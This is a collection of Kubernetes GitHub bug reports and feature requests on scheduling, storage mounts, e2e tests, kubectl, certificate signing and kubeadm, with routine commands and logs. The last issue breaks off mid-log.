<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r   \r \r   what happened  :\r when we create a burstable type pod, the pod requests may be much more smaller than the pod limits. if the other predicate conditions satisfied and the pod limits exceed the node's allocatable resource, currently the scheduler predicates can also pass. \r \r   what you expected to happen  :\r i think the limit is the largest resource the pod expected. and the scheduler should meet the expectation of the pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r for example, if my pod request is 6cpu 6gb and limit is 10cpu 10gb. and the node with 6cpu 8gb may be selected as the node of my pod. but in fact, if my pod is scheduled to that node, and the pod can not get max resource 10cpu 10gb as expected.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i am trying  to update  aws-sdk-go dep version, following the guide in\r https://github.com/kubernetes/community/blob/master/contributors/devel/godep.md\r \r i checkout to the master branch, and i use these commands:\r    \r hack/run-in-gopath.sh hack/godep-restore.sh -v\r hack/run-in-gopath.sh bash -c 'rm -rf $gopath/src/github.com/aws/aws-sdk-go'\r hack/run-in-gopath.sh go get -d github.com/aws/aws-sdk-go\r hack/run-in-gopath.sh bash -c 'git -c $gopath/src/github.com/aws/aws-sdk-go checkout v1.14.10'\r hack/run-in-gopath.sh hack/godep-save.sh\r    \r but all the \ build\  files in the \ vendor\  folder are deleted.\r    \r vendor/k8s.io/utils/clock/build\ \r vendor/ks.io/utils/exec/build\r vendor/k8s.io/utils/exec/testing/build\r ...\r    \r what did i do wrong？what are the right steps?\r \r when i use the same commands in the \ release-1.9\  branch,  all these files are not changed.\r

is this a feature request?  :\r add the ability to auto label all the sub-resources to have a global cleanup mechanism using label selectors. \r \r   what happened  :\r sub-resources can sometimes be stuck in terminating at the end of an e2e conformance run. \r \r   what you expected to happen  :\r cleanup all the things. \r \r   how to reproduce it  as minimally and precisely as possible   :\r re-run tests or terminate mid run until you get resource leaks, or failed cleanup\r \r /cc @kubernetes/sig-testing @kubernetes/cncf-conformance-wg \r 

what would you like to be added  :\r \r we need an e2e test that updates a csi driver in running cluster. hostpath driver seems to be the best candidate, mock driver can't be restarted.\r \r   why is this needed  :\r we want to exercise driver un-registration and registration in kubelet. @msau42 hit some issue there and we want to make sure it's fine.\r \r   /assign

this is required for cadvisor and monitoring to map cgroup stats to pod and container. we don't need this in the future version once we have pod_level resource management. but today we don't have it.   cc/ @vmarmol @yifan-gu

which jobs are failing  :\r  ci-kubernetes-e2e-gce-master-new-downgrade-cluster   sig-release-master-upgrade gce-master-new-downgrade-cluster  https://testgrid.k8s.io/sig-release-master-upgrade gce-master-new-downgrade-cluster&width=20 \r \r   which test s  are failing  :\r   sig-storage  csi volumes  driver: csi-hostpath-v0   testpattern: dynamic pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow  \r \r  link to prow  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/1304 \r \r   since when has it been failing  :\r 2019-02-22 @ 20:43\r \r   testgrid link  :\r  sig-release-master-upgrade gce-master-new-downgrade-cluster  https://testgrid.k8s.io/sig-release-master-upgrade gce-master-new-downgrade-cluster&width=20 \r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/subpath.go:313\r expected grep stdout to be empty  i.e. no mount found .\r expected\r     <string>: overlay on /var/lib/kubelet/pods/6f95bde9-415c-11e9-b025-42010a8a0009/volumes/kubernetes.io~csi/pvc-6d0cf06d-415c-11e9-b025-42010a8a0009/mount type overlay  rw,relatime,lowerdir=/var/lib/docker/overlay2/l/tr7rslotg32k74ylsfhogef7br:/var/lib/docker/overlay2/l/4uzhxw7x6it7u6hhvnmmw6ipu4:/var/lib/docker/overlay2/l/3ojlns5izvwkqqjfpkon64h6ei,upperdir=/var/lib/docker/overlay2/23e122e3c0538f7c7f7fd17baa280334cffbd86f6198538887778f1d712cb313/diff,workdir=/var/lib/docker/overlay2/23e122e3c0538f7c7f7fd17baa280334cffbd86f6198538887778f1d712cb313/work \r     overlay on /var/lib/kubelet/pods/6f95bde9-415c-11e9-b025-42010a8a0009/volumes/kubernetes.io~csi/pvc-6d0cf06d-415c-11e9-b025-42010a8a0009/mount type overlay  rw,relatime,lowerdir=/var/lib/docker/overlay2/l/tr7rslotg32k74ylsfhogef7br:/var/lib/docker/overlay2/l/4uzhxw7x6it7u6hhvnmmw6ipu4:/var/lib/docker/overlay2/l/3ojlns5izvwkqqjfpkon64h6ei,upperdir=/var/lib/docker/overlay2/23e122e3c0538f7c7f7fd17baa280334cffbd86f6198538887778f1d712cb313/diff,workdir=/var/lib/docker/overlay2/23e122e3c0538f7c7f7fd17baa280334cffbd86f6198538887778f1d712cb313/work \r     overlay on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/6f95bde9-415c-11e9-b025-42010a8a0009/volumes/kubernetes.io~csi/pvc-6d0cf06d-415c-11e9-b025-42010a8a0009/mount type overlay  rw,relatime,lowerdir=/var/lib/docker/overlay2/l/tr7rslotg32k74ylsfhogef7br:/var/lib/docker/overlay2/l/4uzhxw7x6it7u6hhvnmmw6ipu4:/var/lib/docker/overlay2/l/3ojlns5izvwkqqjfpkon64h6ei,upperdir=/var/lib/docker/overlay2/23e122e3c0538f7c7f7fd17baa280334cffbd86f6198538887778f1d712cb313/diff,workdir=/var/lib/docker/overlay2/23e122e3c0538f7c7f7fd17baa280334cffbd86f6198538887778f1d712cb313/work \r     overlay on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/6f95bde9-415c-11e9-b025-42010a8a0009/volumes/kubernetes.io~csi/pvc-6d0cf06d-415c-11e9-b025-42010a8a0009/mount type overlay  rw,relatime,lowerdir=/var/lib/docker/overlay2/l/tr7rslotg32k74ylsfhogef7br:/var/lib/docker/overlay2/l/4uzhxw7x6it7u6hhvnmmw6ipu4:/var/lib/docker/overlay2/l/3ojlns5izvwkqqjfpkon64h6ei,upperdir=/var/lib/docker/overlay2/23e122e3c0538f7c7f7fd17baa280334cffbd86f6198538887778f1d712cb313/diff,workdir=/var/lib/docker/overlay2/23e122e3c0538f7c7f7fd17baa280334cffbd86f6198538887778f1d712cb313/work \r     \r to be empty\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/utils/utils.go:255\r    \r \r   anything else we need to know  :\r /milestone v1.14\r   /

what happened  :\r \r i noticed a typo when glancing at https://github.com/kubernetes/website/pull/14018/files diff-e91420e95a03cf2795367c919ba0f025r7023\r \r   what you expected to happen  :\r a diff of  kubectl config rename-context  help would explain it best, i think.\r  old = current, new = desired \r \r    diff\r @@ -1,4 +1,4 @@\r  renames a context from the kubeconfig file.\r -context_name is the context name that you wish change.\r +context_name is the context name that you wish to change.\r  new_name is the new name you wish to set.\r  note: in case the context being renamed is the 'current-context', this field will also be updated.\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl config rename-context --help \r \r   anything else we need to know?  :\r i've got a pr ready.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.14.1\r - cloud provider or hardware configuration: _not applicable_\r - os  e.g:  cat /etc/os-release  : ubuntu 18.04\r - kernel  e.g.  uname -a  : _not relevant_\r - install tools: _not relevant_\r - network plugin and version  if this is a network-related bug : _not relevant_\r - others:\r

in  22613 we had the idea of labelling nodes that support  storage types and then using those labels as filters for storage tests , rather than manual skipping  i.e. run gluster test if at least 1 node supports it based on volume plugin cansupport status .  this can be done like so. -  we should have the nodes broadcast wether they support what storage types.  maybe add to  nodesysteminfo ... - we should modify all storage e2es to use that selector when running tests rather than just broadly skipping them.  iirc think  for example  iscsi works on gce as is, and ceph basic tests work on oepnshift-ansible as-is.

docs seem to indicate that we can delete by label:  http://kubernetes.io/docs/api-reference/v1/operations/ _delete_collection_of_pod but most cases list by label, delete by name, and there are reports that delete by label doesn't work  ie that something like  delete /api/v1/namespaces/default/pods?labelselector=somelabel%3dsomevalue  returns 405 .

i have the following use case:  i need to route from non-kubernetes servers to kubernetes clusterips. i already have the routes set up properly to forward to pod ip addresses, and this works perfectly  i can access pod ip addresses from outside the cluster . but nothing i've tried seems to get the service routing to work properly.  how can i set this up properly? is this something that potentially should be included in kubernetes?

hello,\r please i would like to know if it possible to make the node-port take the some value as the target port instead of the random value.\r thanks

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/403/  failed:  k8s.io  kubeletmanagedetchosts should test kubelet managed /etc/hosts file  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/kubelet_etc_hosts.go:54 failed to execute command in pod test-pod, container busybox-1: error dialing backend: ssh: rejected: connect failed  connection refused  expected error:     < errors.statuserror | 0xc420c43b00>: {         errstatus: {             typemeta: {kind: \ status\ , apiversion: \ v1\ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ error dialing backend: ssh: rejected: connect failed  connection refused \ ,             reason: \ \ ,             details: nil,             code: 500,         },     }     error dialing backend: ssh: rejected: connect failed  connection refused  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/exec_util.go:106

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r part of conformance test following images are used in  test/e2e  which needs to be ported to support multi architecture\r \r 1. gcr.io/google_containers/liveness:e2e\t- https://github.com/kubernetes/kubernetes.github.io/blob/master/docs/user-guide/liveness/image/dockerfile\r 2. gcr.io/google_containers/update-demo:nautilus - https://github.com/kubernetes/kubernetes.github.io/blob/master/docs/user-guide/update-demo/images/nautilus/dockerfile\r 3. gcr.io/google_containers/update-demo:kitten - https://github.com/kubernetes/kubernetes.github.io/blob/master/docs/user-guide/update-demo/images/kitten/dockerfile\r \r as most of the test images are under  test/images  which is easy to maintain. i'm in dilemma to move these images here or keep it in the doc repo only and port them to support multiarchitecture?\r \r i'm looking for suggestions here from broader team!

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r bug report\r  \r   what happened  : i created a pvc for a managed disk. the pod which used the pvc fails to start:\r \r    \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   7m\t\t7m\t\t4\tdefault-scheduler\t\t\t\twarning\t\tfailedscheduling\tpersistentvolumeclaim \ dd-managed-fast-01\  not found  repeated 4 times \r   6m\t\t6m\t\t5\tdefault-scheduler\t\t\t\twarning\t\tfailedscheduling\tpersistentvolumeclaim is not bound: \ dd-managed-fast-01\   repeated 4 times \r   5m\t\t5m\t\t1\tdefault-scheduler\t\t\t\tnormal\t\tscheduled\t\tsuccessfully assigned test-azure-disk-1874458390-rp5fh to colemick172-worker-2\r   5m\t\t5m\t\t1\tkubelet, colemick172-worker-2\t\t\tnormal\t\tsuccessfulmountvolume\tmountvolume.setup succeeded for volume \ default-token-kgmh6\  \r   3m\t\t49s\t\t2\tkubelet, colemick172-worker-2\t\t\twarning\t\tfailedmount\t\tunable to mount volumes for pod \ test-azure-disk-1874458390-rp5fh_default fb1fadc8-7919-11e7-b53d-000d3a342e21 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ test-azure-disk-1874458390-rp5fh\ . list of unattached/unmounted volumes= azure-managed-disk01 \r   3m\t\t49s\t\t2\tkubelet, colemick172-worker-2\t\t\twarning\t\tfailedsync\t\terror syncing pod\r   4m\t\t26s\t\t10\tkubelet, colemick172-worker-2\t\t\twarning\t\tfailedmount\t\tmountvolume.mountdevice failed for volume \ pvc-fd6e4309-7919-11e7-b53d-000d3a342e21\  : azuredisk - mountdevice:formatandmount failed with failed to mount the volume as \ ext4\ , it already contains unknown data, probably partitions. mount error: mount failed: exit status 32\r mounting command: mount\r mounting arguments: /dev/sda /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/m238985726 ext4  defaults \r output: mount: /dev/sda is already mounted or /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/m238985726 busy\r    \r \r   what you expected to happen  : the pv to mount, format and the pod to start\r \r   how to reproduce it  as minimally and precisely as possible   : boot a 1.7.2 or higher, apply this gist: https://gist.github.com/colemickens/0cd6a12fdbf5a8b5040724a0b8e900fd\r \r   anything else we need to know?  : n/a\r \r   environment  : azure\r - kubernetes version  use  kubectl version  : \r  client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r  server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2+coreos.0\ , gitcommit:\ c6574824e296e68a20d36f00e71fa01a81132b66\ , gittreestate:\ clean\ , builddate:\ 2017-07-24t23:28:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration  : azure\r - os  e.g. from /etc/os-release : \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1353.8.0\r version_id=1353.8.0\r build_id=2017-05-30-2322\r pretty_name=\ container linux by coreos 1353.8.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r    \r - kernel  e.g.  uname -a  :  linux colemick172-master-0 4.9.24-coreos  1 smp tue may 30 23:12:01 utc 2017 x86_64 intel r  xeon r  cpu e5-2673 v3 @ 2.40ghz genuineintel gnu/linux \r - install tools:  tectonic-installer

some configuration management systems distinguish between \ no change\ , \ changed\ , and \ failed\ .  it should be possible to use kubectl apply and know when any changes were applied from normal shell scripting\r \r since \ no-op\  is also success, and we don't expect clients to parse our stdout/stderr, it seems reasonable that we should allow a kubectl apply caller to request that a no-op be given a special exit code that we ensure no other result can return.  since today we return 1 for almost all errors, we have the option to begin defining \ special\  errors.\r \r possible options: \r \r    kubectl apply ... --fail-when-unchanged=2  returns exit code 2  allows user to control exit code \r    kubectl apply ... --fail-when-unchanged  returns exit code 2 always  means we can document the exit code as per unix norms \r \r the latter is probably better.  naming of course is up in the air.\r \r @kubernetes/sig-cli-feature-requests \r \r i rate this as high importance for integration with config management  like ansible  which expects to be able to discern this.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r aggregator test creates a new namespace \r https://github.com/kubernetes/kubernetes/blob/a5ad6b5ab6707ea411c9779beb789cdc8b4fee13/test/e2e/apimachinery/aggregator.go l178-l191\r instead of using existing test framework namespace\r https://github.com/kubernetes/kubernetes/blob/a5ad6b5ab6707ea411c9779beb789cdc8b4fee13/test/e2e/apimachinery/aggregator.go l171\r \r the test should use framework namespace for better clean up and further development.\r \r 

 \r   what happened  :\r \r emitted certificate did not contain expected extensions\r \r   what you expected to happen  :\r \r extensions from \ requested extensions\  should be in emitted cert.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r $ cat > my.csr << eof\r -----begin certificate request-----\r miicetccawecaqawadccasiwdqyjkozihvcnaqebbqadggepadccaqocggebak23\r lfm6znvlapys+la+gi9pabsozue6af7mgznko1b6lelob2q0ej1odoz3boj5uave\r qqugnhdn37e26i3oeeslukt2ebv43qmugffimd3hyoofiey/4r8ghslpaj8pnu+u\r aovf2awwq0gonpmxnbpn63iyrvdqow0v/g/7f+3p81kgcc8c6odwre3ihcwmhlhw\r imxxq2rtgbwnb9s2k1nbyvwtkmvfkmidfgshkip7up9xkaui0q92nvmivto/41x6\r wvdb0eq2mgjye7im5cnd0r9ur/cs/3wnpcdymfsg+a+m237gegto9zhzxaffh/yp\r 5syclgylukm5s3i/tpccaweaaaa0mdigcsqgsib3dqejdjelmcmwiqylkwybbagd\r lcqfbqueehyqfg50aglziglzigegdgvzddanbgkqhkig9w0baqsfaaocaqeafagp\r efmdum/hmhw2shvfiz6fngxkjp7kpzgnjlja3+dpvvfi4w+skao/tmpe9totc1e3\r pbqx25ose8+vnif/zyv2p+pjx0o2gm//yu9zaf6fgw3gm2xemwrjxikhpyh768v2\r sqggm+wx5/v/d9xssybh5bilosht81fh5hgzz9uuleregr4kl2zfzlcudvt3dw6n\r vw/afr/qu0eirddb6gwiu3ifwzctmnjlhv0a4i12zxbrdbiwaadj2x26wozrmkb3\r p9doenpwoeebeqlsnbjwe8fgbsx2q1/b3uxh5ns7yglhntr0fmreohnqqux9bq+a\r sah6nruvtivg+3dxjg==\r -----end certificate request-----\r eof\r $ cat << eof | kubectl create -f -\r apiversion: certificates.k8s.io/v1beta1\r kind: certificatesigningrequest\r metadata:\r   name: mycerttest\r spec:\r   groups:\r   - system:authenticated\r   request: $ cat my.csr | base64 | tr -d '\ ' \r   usages:\r   - digital signature\r   - key encipherment\r   - server auth\r eof\r $ kubectl certificate approve mycerttest\r    \r \r observe that the input csr contains a requested extension:\r \r    \r $ openssl req -noout -text -in my.csr | grep -a 2 requested\r         requested extensions:\r             1.3.6.1.4.1.51748.5.5.5: \r                 ....this is a test\r    \r \r observe that the output cert does not contain the extension:\r \r    \r $ kubectl get csr mycerttest -o jsonpath='{.status.certificate}' | base64 -d | openssl x509 -noout -text |  grep -a 9 ext\r         x509v3 extensions:\r             x509v3 key usage: critical\r                 digital signature, key encipherment\r             x509v3 extended key usage: \r                 tls web server authentication\r             x509v3 basic constraints: critical\r                 ca:false\r             x509v3 subject key identifier: \r                 34:45:e0:2a:c2:49:8d:11:ae:54:38:2b:d2:0e:ae:4c:c3:39:ce:8b\r     signature algorithm: sha256withrsaencryption\r          17:0b:ae:5b:30:60:13:e6:6c:fc:03:f5:cc:cf:f6:54:ed:0a:\r    \r \r \r   anything else we need to know?  :\r \r marking the  critical  bit on the extension doesn't cause it to fail.\r \r here is a csr with the critical bit set for the same requested extension:\r    \r -----begin certificate request-----\r miicfdccawqcaqawadccasiwdqyjkozihvcnaqebbqadggepadccaqocggebanuf\r cwlzvbtsnfuxcmenrjz6ickubc/yovn6xuo61n7n+to28on7eiibauavixxtljre\r haupdm/jnrswipjuti2i0xdukrl0e+jibiyl08r8fo51z7itva4l8ud7+kkuc5c+\r +blph3zpvtvyvjhnqwc7lf4/egxhu4yc4gbvk7bmhdo8qwk6r2fsiqnzoipxsak7\r kri+eelaosr33oxhqbkqbzg1x2o3df9ck8irevkfi3d/su8u2rl3ny2u757p64hg\r 5tlwhwzszfm1wmclbmizzsk81ejwrta++qle0xi1whhay5ytkuziz46e/ne0wrmw\r z80cvpekw3izcqdqbaccaweaaaa3mdugcsqgsib3dqejdjeomcywjaylkwybbagd\r lcqfbqubaf8eehyqfg50aglziglzigegdgvzddanbgkqhkig9w0baqsfaaocaqea\r k4lti06ke+owbeyia+uilnlfc/g5nbhysufu0gigdg3r/anotawsvhuxa0qvrwwz\r dezytvqqldfbvqz4+6wfukskit8enj7jqm1ktwrqlx1r24x5huxvzudjkosd7txb\r oq2ktljin8of73jahqfykqs4ahpbikiiy1dgj3ifwtxbm7clukqvktq4efww38se\r trn3xbibysosz9i5dfmvsuov4w1rctepfmd4ar4nzc5cwri7djanih+gydwguvzx\r uc7njnkaggjbi24olvkob/fj2f9m5gqsoq4sbedhdb5u3fqbmfdders+8jl0w6u3\r r5annitcg6/s15jbyxlx+w==\r -----end certificate request-----\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r     client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: minikube v0.27.0

  \r   what happened  :\r kube-scheduler  v1.11.0-rc.2  that is pointed to a  kubeschedulerconfiguration  componentconfig file having\r    yaml\r clientconnection:\r   kubeconfig: /var/lib/kube-scheduler/kubeconfig\r    \r ignores that it should use this kubeconfig file. instead, it uses the in-cluster config  as  --kubeconfig  is neither provided .\r \r   what you expected to happen  :\r the kube-scheduler should respect the kubeconfig provided in the  kubeschedulerconfiguration .\r \r   how to reproduce it  as minimally and precisely as possible   :\r starting  hyperkube  image  v1.11.0-rc.2  with  /hyperkube scheduler --config=config.yaml --v=2  whereby the content of  config.yaml  looks like this:\r    yaml\r apiversion: componentconfig/v1alpha1\r kind: kubeschedulerconfiguration\r clientconnection:\r   kubeconfig: /var/lib/kube-scheduler/kubeconfig\r leaderelection:\r   leaderelect: true\r    \r makes the scheduler logging  w0626 13:18:22.399724       1 options.go:269  neither --kubeconfig nor --master was specified. using default api client. this might not work. \r \r the exact same configuration as above works with  release-1.10  branch. seems like abc8c98e35a291e03775cd4fc8808a33dc58b7d7 has introduced the behaviour. the kube clients are created  here  https://github.com/kubernetes/kubernetes/blob/release-1.11/cmd/kube-scheduler/app/options/options.go l201  but the componentconfig file is loaded  later here  https://github.com/kubernetes/kubernetes/blob/release-1.11/cmd/kube-scheduler/app/options/options.go l228 .\r \r /cc @sttts \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.0-rc.2

 @kubernetes/sig-docs-bugs\r \r   what happened  :\r \r i noticed that most  but not all  of our deployment yaml definitions include both  spec.selector  and  spec.template.metadata.labels . these were always the same, and i've had a report that if they differ then the deployment doesn't work. however, one definition was missing  spec.selector , but it seemed to work.\r \r i looked in  the docs  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.11/ deploymentspec-v1-apps , which say the following for  spec.selector :\r \r > label selector for pods. existing replicasets whose pods are selected by this will be the ones affected by this deployment.   it must match the pod template's labels.  \r \r i found  this comment  https://github.com/kubernetes/kubernetes/issues/28475 issuecomment-264952770 , saying:\r \r > you need to have specified either metadata.labels in the pod template or spec.selector    the one that's missing will be defaulted to the other    for the deployment to work  create new pods and label them so they can be partitioned from other pods .\r \r  emphasis mine \r \r if the comment is correct, this info should be in the docs.\r \r   what you expected to happen  :\r \r instead of \ it must match the pod template's labels\ , it should say something like:\r \r > if present, it must match the pod template's labels. if omitted, it defaults to match the pod template's labels. if the pod template does not have defined labels, it is an error to omit this field.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r the test should get the attach limit on a node and create a pod that uses the full attach limit.\r \r you might be able to leverage parts of this test case:\r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/storage/persistent_volumes.go l315\r \r

what happened  :\r daemonset doesn't delete pods that:\r - weren't scheduled yet,\r - node was deleted so pod can't be scheduled.\r   what you expected to happen  :\r pod should be deleted when node is removed.\r   how to reproduce it  as minimally and precisely as possible   :\r i encountered this problem when doing tests with cluster with 1000 nodes and 30000 pods running. during tests i was deleting and adding nodes using gce api without draining them. i reproduced problem on much smaller cluster but it requires stopping k8s scheduler.\r \r scenario:\r 1. create cluster with 2 nodes.\r 2. wait till fluentd-gcp pods are running on nodes.\r 3. stop k8s scheduler.\r 4. delete fluentd-gcp pods.\r 5. wait till daemonset controller creates pending pods.\r 6. delete one node.\r 7. start scheduler.\r 8. one of the fluentd-gcp pods will be pending and scheduler won't be able to schedule.\r \r   anything else we need to know?  :\r \r   environment  : gke\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.7\ , gitcommit:\ 0c38c362511b20a098d7cd855f1314dad92c2780\ , gittreestate:\ clean\ , builddate:\ 2018-08-20t10:09:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.2-gke.3\ , gitcommit:\ 3bdb4f77629a001276ae061e68aff4bac147fbc5\ , gittreestate:\ clean\ , builddate:\ 2018-11-13t22:54:51z\ , goversion:\ go1.10.4b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r <!-- do not edit below this line -->\r 

what happened  :\r \r  kubeadm init  timed out while waiting for kubelet to start. looks like the timeout duration is hard-coded.\r \r    \r if err := waiter.waitforhealthykubelet 40 time.second, fmt.sprintf \ http://localhost:%d/healthz\ , kubeadmconstants.kubelethealthzport  ;\r    \r from <https://github.com/kubernetes/kubernetes/blob/master/cmd/kubeadm/app/util/apiclient/wait.go l164> \r \r    \r   timeout -k 600s 600s kubeadm init --config=/etc/kubernetes/kubeadm-config.yaml --ignore-preflight-errors=all\r  init  using kubernetes version: v1.13.3\r  preflight  running pre-flight checks\r          warning port-6443 : port 6443 is in use\r          warning port-10251 : port 10251 is in use\r          warning port-10252 : port 10252 is in use\r          warning fileavailable--etc-kubernetes-manifests-kube-apiserver.yaml : /etc/kubernetes/manifests/kube-apiserver.yaml already exists\r          warning fileavailable--etc-kubernetes-manifests-kube-controller-manager.yaml : /etc/kubernetes/manifests/kube-controller-manager.yaml already exists\r          warning fileavailable--etc-kubernetes-manifests-kube-scheduler.yaml : /etc/kubernetes/manifests/kube-scheduler.yaml already exists\r          warning httpproxycidr : connection to \ 10.233.0.0/18\  uses proxy \ http://10.192.126.40:8080\ . this may lead to malfunctional cluster setup. make sure that pod and services ip ranges specified correctly as exceptions in proxy configuration\r          warning httpproxycidr : connection to \ 10.233.64.0/18\  uses proxy \ http://10.192.126.40:8080\ . this may lead to malfunctional cluster setup. make sure that pod and services ip ranges specified correctly as exceptions in proxy configuration\r          warning systemverification : this docker version is not on the list of validated versions: 18.09.2. latest validated version: 18.06\r          warning port-10250 : port 10250 is in use\r          warning externaletcdversion : get https://10.198.110.187:2379/version: net/http: request canceled while waiting for connection  client.timeout exceeded while awaiting headers \r          warning externaletcdversion : get https://10.198.110.27:2379/version: net/http: request canceled while waiting for connection  client.timeout exceeded while awaiting headers \r          warning externaletcdversion : get https://10.198.111.115:2379/version: net/http: request canceled while waiting for connection  client.timeout exceeded while awaiting headers \r  preflight  pulling images required for setting up a kubernetes cluster\r  preflight  this might take a minute or two, depending on the speed of your internet connection\r  preflight  you can also perform this action in beforehand using 'kubeadm config images pull'\r  kubelet-start  writing kubelet environment file with flags to file \ /var/lib/kubelet/kubeadm-flags.env\ \r  kubelet-start  writing kubelet configuration to file \ /var/lib/kubelet/config.yaml\ \r  kubelet-start  activating the kubelet service\r  certs  using certificatedir folder \ /etc/kubernetes/ssl\ \r  certs  external etcd mode: skipping etcd/ca certificate authority generation\r  certs  external etcd mode: skipping etcd/server certificate authority generation\r  certs  external etcd mode: skipping apiserver-etcd-client certificate authority generation\r  certs  external etcd mode: skipping etcd/peer certificate authority generation\r  certs  external etcd mode: skipping etcd/healthcheck-client certificate authority generation\r  certs  using existing ca certificate authority\r  certs  using existing apiserver-kubelet-client certificate and key on disk\r  certs  using existing apiserver certificate and key on disk\r  certs  using existing front-proxy-ca certificate authority\r  certs  using existing front-proxy-client certificate and key on disk\r  certs  using the existing \ sa\  key\r  kubeconfig  using kubeconfig folder \ /etc/kubernetes\ \r  kubeconfig  using existing up-to-date kubeconfig file: \ /etc/kubernetes/admin.conf\ \r  kubeconfig  using existing up-to-date kubeconfig file: \ /etc/kubernetes/kubelet.conf\ \r  kubeconfig  using existing up-to-date kubeconfig file: \ /etc/kubernetes/controller-manager.conf\ \r  kubeconfig  using existing up-to-date kubeconfig file: \ /etc/kubernetes/scheduler.conf\ \r  control-plane  using manifest folder \ /etc/kubernetes/manifests\ \r  control-plane  creating static pod manifest for \ kube-apiserver\ \r  controlplane  adding extra host path mount \ etc-pki-tls\  to \ kube-apiserver\ \r  controlplane  adding extra host path mount \ etc-pki-ca-trust\  to \ kube-apiserver\ \r  control-plane  creating static pod manifest for \ kube-controller-manager\ \r  controlplane  adding extra host path mount \ etc-pki-tls\  to \ kube-apiserver\ \r  controlplane  adding extra host path mount \ etc-pki-ca-trust\  to \ kube-apiserver\ \r  control-plane  creating static pod manifest for \ kube-scheduler\ \r  controlplane  adding extra host path mount \ etc-pki-tls\  to \ kube-apiserver\ \r  controlplane  adding extra host path mount \ 